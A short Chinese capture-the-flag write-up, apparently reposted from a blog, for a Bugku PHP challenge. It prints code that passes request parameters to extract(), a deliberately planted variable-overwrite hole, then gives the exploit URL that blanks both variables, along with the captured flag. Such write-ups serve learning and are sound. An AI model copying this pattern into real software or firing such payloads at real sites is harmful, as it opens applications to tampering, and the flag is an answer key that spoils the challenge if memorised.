<?
php
$flag='xxx'
;
extract(
$_GET);
if(
isset(
$shiyan))
{
$content=
trim(
file_get_contents(
$flag));
if(
$shiyan==
$content)
{
echo'flag{xxx}'
;
}
else
{
echo'Oh.no'
;
}
}
?>
file_get_contents() 函数把整个文件读入一个字符串中。
extract() 函数从数组中将变量导入到当前的符号表。
大概就是将flag变量与shiyan变量一致得到flag
将contents内容为空,flag和shiyan变量为空,满足条件
http:
//123.206.87.240:9009/1.php?shiyan=&flag=
flag{bugku-dmsj-p2sm3N}
转载于:https://www.cnblogs.com/gaonuoqi/p/11408456.html